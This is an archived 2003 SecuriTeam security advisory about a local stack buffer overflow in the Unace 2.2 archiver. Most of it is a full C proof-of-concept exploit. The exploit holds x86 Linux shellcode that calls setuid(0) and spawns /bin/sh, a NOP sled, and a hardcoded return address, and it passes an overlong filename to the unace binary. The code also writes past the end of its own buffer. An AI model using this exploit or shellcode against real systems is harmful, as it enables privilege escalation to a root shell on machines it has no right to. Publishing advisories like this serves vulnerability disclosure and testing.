[EXPL] Unace Exploitable Buffer Overflow (Filename)

From: SecuriTeam (support_at_securiteam.com)
Date: 11/11/03

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Date: 11 Nov 2003 11:31:11 +0200

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      Unace Exploitable Buffer Overflow (Filename)
    ------------------------------------------------------------------------

    SUMMARY

    An exploitable buffer overflow in unace has been found, the vulnereability
    will allow local attackers to cause the product to execute abitrary code.
    The following exploit code can be used to test the software for the
    vulnerability.

    DETAILS

    Vulnerable systems:
     * Unace version 2.2

    Exploit:
    /* gEEk-unace.c
     *
     * PoC exploit made for advisory based uppon an local stack based
    overflow.
     * Vulnerable versions, maybe also prior versions:
     *
     *
     * Tested on: Debian 3.0
     *
     * Advisory source: MegaHz
     *
     * -----------------------------------------
     * coded by: demz (geekz.nl) (demz@geekz.nl)
     * -----------------------------------------
     *
     */

    #include <stdio.h>
    #include <stdlib.h>

    char shellcode[]=

      "\x31\xc0" // xor eax, eax
            "\x31\xdb" // xor ebx, ebx
            "\x31\xc9" // xor ecx, ecx
            "\xb0\x46" // mov al, 70
            "\xcd\x80" // int 0x80

            "\x31\xc0" // xor eax, eax
            "\x50" // push eax
            "\x68\x6e\x2f\x73\x68" // push long 0x68732f6e
            "\x68\x2f\x2f\x62\x69" // push long 0x69622f2f
            "\x89\xe3" // mov ebx, esp
            "\x50" // push eax
            "\x53" // push ebx
            "\x89\xe1" // mov ecx, esp
            "\x99" // cdq
            "\xb0\x0b" // mov al, 11
            "\xcd\x80" // int 0x80

            "\x31\xc0" // xor eax, eax
            "\xb0\x01" // mov al, 1
            "\xcd\x80"; // int 0x80

    int main()
    {
      unsigned long ret = 0xbfffc260;

      char buffer[707];
      int i=0;

      memset(buffer, 0x90, sizeof(buffer));

      for (0; i < strlen(shellcode) - 1;i++)
      buffer[300 + i] = shellcode[i];

      buffer[707] = (ret & 0x000000ff);
      buffer[708] = (ret & 0x0000ff00) >> 8;
      buffer[709] = (ret & 0x00ff0000) >> 16;
      buffer[710] = (ret & 0xff000000) >> 24;
      buffer[711] = 0x0;

      printf("\nUnace v2.2 local exploit\n");
            printf("---------------------------------------- demz @ geekz.nl
    --\n");

      execl("./unace", "unace", "e", buffer, NULL);
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:demz@geekz.nl> demz.

    ========================================

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